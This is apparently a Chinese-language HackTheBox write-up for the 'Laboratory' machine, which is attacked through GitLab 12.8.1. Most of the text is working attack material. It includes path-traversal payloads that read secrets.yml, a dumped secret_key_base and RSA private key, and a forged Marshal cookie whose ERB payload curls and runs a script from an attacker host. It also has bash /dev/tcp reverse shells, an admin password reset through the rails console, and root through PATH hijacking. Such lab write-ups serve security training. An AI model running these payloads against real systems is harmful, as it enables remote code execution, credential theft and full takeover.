HackTheBox >_ Laboratory_216
Laboratory_216
Scan
$ rustscan 10.10.10.216 -b 924 -t 1500 --no-nmap
$ sudo nmap -p22,80,443 -sV -T5 -Pn -oX sploit.xml 10.10.10.216; searchsploit --nmap sploit.xml
80
加入hosts
直接跳到https
在网站证书中发现来额外线索
加入hosts再浏览
修改为当前靶机的域名再次注册
成功登陆
在projects 下的 Explore projects发现了项目
虽然能够提交代码,但不能合并到主线
12.8.1
继续搜索发现了一个可以利用到漏洞
https://www.exploit-db.com/exploits/48431
https://gitlab.com/gitlab-org/gitlab/-/issues/212175
尝试利用
首先在自己的git中新建两个项目
进入其中任意一个项目
提issue,并写入payload
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
点击右下角的move issue,然后选择另一个我们建立的项目
成功移动后会变为链接样式,点击可下载文件
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/VERSION)
漏洞验证成功
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../etc/gitlab/gitlab.rb)
想弹配置文件但失败
弹root ssh也失败
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../var/opt/gitlab/gitlab-rails/etc/database.yml)
继续搜集的过程中在
https://hackerone.com/reports/827052
发现了更进一步的利用方法。
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
---
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu
YxMJm2+5ZDzaDu5T4xLbcM0BshgOM8N3gMcogz0KUmMD3OGLt90vNBq8Wo/9cSyV
RnBSnbCl0EzpFeeMBymR8aBm8sRpy7+n9VRawmjX9os25CmBBJB93NnZj8QFJxPt
u00f71w1pOL+CIEPAgSSZazwI5kfeU9wCvy0Q650ml6nC7lAbiinqQnocvCGbV0O
aDFmO98dwdJ3wnMTkPAwvJcESa7iRFMSuelgst4xt4a1js1esTvvVHO/fQfHdYo3
5Y8r9yYeCarBYkFiqPMec8lhrfmviwcTMyK/TBRAkj9wKKXZmm8xyNcEzP5psRAM
e4RO91xrgQx7ETcBuJm3xnfGxPWvqXjvbl72UNvU9ZXuw6zGaS7fxqf8Oi9u8R4r
T/5ABWZ1CSucfIySfJJzCK/pUJzRNnjsEgTc0HHmyn0wwSuDp3w8EjLJIl4vWg1Z
vSCEPzBJXnNqJvIGuWu3kHXONnTq/fHOjgs3cfo0i/eS/9PUMz4R3JO+kccIz4Zx
NFvKwlJZH/4ldRNyvI32yqhfMUUKVsNGm+7CnJNHm8wG3CMS5Z5+ajIksgEZBW8S
JosryuUVF3pShOIM+80p5JHdLhJOzsWMwap57AWyBia6erE40DS0e0BrpdsCAwEA
AQKCAgB5Cxg6BR9/Muq+zoVJsMS3P7/KZ6SiVOo7NpI43muKEvya/tYEvcix6bnX
YZWPnXfskMhvtTEWj0DFCMkw8Tdx7laOMDWVLBKEp54aF6Rk0hyzT4NaGoy/RQUd
b/dVTo2AJPJHTjvudSIBYliEsbavekoDBL9ylrzgK5FR2EMbogWQHy4Nmc4zIzyJ
HlKRMa09ximtgpA+ZwaPcAm+5uyJfcXdBgenXs7I/t9tyf6rBr4/F6dOYgbX3Uik
kr4rvjg218kTp2HvlY3P15/roac6Q/tQRQ3GnM9nQm9y5SgOBpX8kcDv0IzWa+gt
+aAMXsrW3IXbhlQafjH4hTAWOme/3gz87piKeSH61BVyW1sFUcuryKqoWPjjqhvA
hsNiM9AOXumQNNQvVVijJOQuftsSRCLkiik5rC3rv9XvhpJVQoi95ouoBU7aLfI8
MIkuT+VrXbE7YYEmIaCxoI4+oFx8TPbTTDfbwgW9uETse8S/lOnDwUvb+xenEOku
r68Bc5Sz21kVb9zGQVD4SrES1+UPCY0zxAwXRur6RfH6np/9gOj7ATUKpNk/583k
Mc3Gefh+wyhmalDDfaTVJ59A7uQFS8FYoXAmGy/jPY/uhGr8BinthxX6UcaWyydX
sg2l6K26XD6pAObLVYsXbQGpJa2gKtIhcbMaUHdi2xekLORygQKCAQEA+5XMR3nk
psDUlINOXRbd4nKCTMUeG00BPQJ80xfuQrAmdXgTnhfe0PlhCb88jt8ut+sx3N0a
0ZHaktzuYZcHeDiulqp4If3OD/JKIfOH88iGJFAnjYCbjqbRP5+StBybdB98pN3W
Lo4msLsyn2/kIZKCinSFAydcyIH7l+FmPA0dTocnX7nqQHJ3C9GvEaECZdjrc7KT
fbC7TSFwOQbKwwr0PFAbOBh83MId0O2DNu5mTHMeZdz2JXSELEcm1ywXRSrBA9+q
wjGP2QpuXxEUBWLbjsXeG5kesbYT0xcZ9RbZRLQOz/JixW6P4/lg8XD/SxVhH5T+
k9WFppd3NBWa4QKCAQEA6LeQWE+XXnbYUdwdveTG99LFOBvbUwEwa9jTjaiQrcYf
Uspt0zNCehcCFj5TTENZWi5HtT9j8QoxiwnNTcbfdQ2a2YEAW4G8jNA5yNWWIhzK
wkyOe22+Uctenc6yA9Z5+TlNJL9w4tIqzBqWvV00L+D1e6pUAYa7DGRE3x+WSIz1
UHoEjo6XeHr+s36936c947YWYyNH3o7NPPigTwIGNy3f8BoDltU8DH45jCHJVF57
/NKluuuU5ZJ3SinzQNpJfsZlh4nYEIV5ZMZOIReZbaq2GSGoVwEBxabR/KiqAwCX
wBZDWKw4dJR0nEeQb2qCxW30IiPnwVNiRcQZ2KN0OwKCAQAHBmnL3SV7WosVEo2P
n+HWPuhQiHiMvpu4PmeJ5XMrvYt1YEL7+SKppy0EfqiMPMMrM5AS4MGs9GusCitF
4le9DagiYOQ13sZwP42+YPR85C6KuQpBs0OkuhfBtQz9pobYuUBbwi4G4sVFzhRd
y1wNa+/lOde0/NZkauzBkvOt3Zfh53g7/g8Cea/FTreawGo2udXpRyVDLzorrzFZ
Bk2HILktLfd0m4pxB6KZgOhXElUc8WH56i+dYCGIsvvsqjiEH+t/1jEIdyXTI61t
TibG97m1xOSs1Ju8zp7DGDQLWfX7KyP2vofvh2TRMtd4JnWafSBXJ2vsaNvwiO41
MB1BAoIBAQCTMWfPM6heS3VPcZYuQcHHhjzP3G7A9YOW8zH76553C1VMnFUSvN1T
M7JSN2GgXwjpDVS1wz6HexcTBkQg6aT0+IH1CK8dMdX8isfBy7aGJQfqFVoZn7Q9
MBDMZ6wY2VOU2zV8BMp17NC9ACRP6d/UWMlsSrOPs5QjplgZeHUptl6DZGn1cSNF
RSZMieG20KVInidS1UHj9xbBddCPqIwd4po913ZltMGidUQY6lXZU1nA88t3iwJG
onlpI1eEsYzC7uHQ9NMAwCukHfnU3IRi5RMAmlVLkot4ZKd004mVFI7nJC28rFGZ
Cz0mi+1DS28jSQSdg3BWy1LhJcPjTp95AoIBAQDpGZ6iLm8lbAR+O8IB2om4CLnV
oBiqY1buWZl2H03dTgyyMAaePL8R0MHZ90GxWWu38aPvfVEk24OEPbLCE4DxlVUr
0VyaudN5R6gsRigArHb9iCpOjF3qPW7FaKSpevoCpRLVcAwh3EILOggdGenXTP1k
huZSO2K3uFescY74aMcP0qHlLn6sxVFKoNotuPvq5tIvIWlgpHJIysR9bMkOpbhx
UR3u0Ca0Ccm0n2AK+92GBF/4Z2rZ6MgedYsQrB6Vn8sdFDyWwMYjQ8dlrow/XO22
z/ulFMTrMITYU5lGDnJ/eyiySKslIiqgVEgQaFt9b0U3Nt0XZeCobSH1ltgN
-----END RSA PRIVATE KEY-----
此漏洞只需要secret_key_base
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
先准备一个bash脚本,用来获得 reverse shell evilx.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.228/1337 0>&1
在工作目录建立http服务
python -m SimpleHTTPServer 8080
使用docker拉取环境
sudo docker pull gitlab/gitlab-ee:12.8.1-ee.0
运行环境
sudo docker run -it gitlab/gitlab-ee:12.8.1-ee.0 sh
首先,后台运行
/opt/gitlab/embedded/bin/runsvdir-start &
报错回车跳过即可
然后初始化配置
gitlab-ctl reconfigure
修改配置文件中的secret_key_base
为之前在靶机得到的key
nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
现在已经可以开始利用漏洞了
gitlab-rails console
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl http://10.10.14.228:8080/evilx.sh -o /tmp/evilx.sh && chmod 777 /tmp/evilx.sh && bash /tmp/evilx.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
这是得到了cookie
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAaUjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgY3VybCBodHRwOi8vMTAuMTAuMTQuMjI4OjgwODAvZXZpbHguc2ggLW8gL3RtcC9ldmlseC5zaCAmJiBjaG1vZCA3NzcgL3RtcC9ldmlseC5zaCAmJiBiYXNoIC90bXAvZXZpbHguc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--852aed7238e272ea0aa0942dc3ffc9dbf4883cf7
在1337 建立监听
激活漏洞
curl -k -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAaUjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgY3VybCBodHRwOi8vMTAuMTAuMTQuMjI4OjgwODAvZXZpbHguc2ggLW8gL3RtcC9ldmlseC5zaCAmJiBjaG1vZCA3NzcgL3RtcC9ldmlseC5zaCAmJiBiYXNoIC90bXAvZXZpbHguc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--852aed7238e272ea0aa0942dc3ffc9dbf4883cf7"
用户是git,我们只能继续使用gitlab进行进一步渗透
经过多次尝试,必须要使用sh 切换到tty才能正常进入rails console 不然会进入检查模式并卡死
python3 -c 'import pty; pty.spawn("/bin/sh")'
gitlab-rails console
比较好的办法是修改gitlab管理员的账户密码,从而登录管理员账户,进行更进一步的信息搜集
u = User.where(id:1).first
dexter
重置密码
u.password = 'evilx123456'
u.password_confirmation = 'evilx123456'
u.save!
使用新的凭证登录git
dexter:evilx123456
SecureDocker
dexter/.ssh
下发现了用户的私钥
登录ssh
chmod 600 id_rsa
ssh -i id_rsa dexter@10.10.10.216
find / -perm -4000 2>/dev/null
/usr/local/bin/docker-security
使用了chmod,但是并没有指定chmod的完整路径 我们可以利用路径劫持进行提权
使用pspy可以看到,该二进制程序会自动运行
在 /tmp 下伪造 chmod
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.228/1338 0>&1
赋予执行权限,并修改环境变量
在监听处获得root shell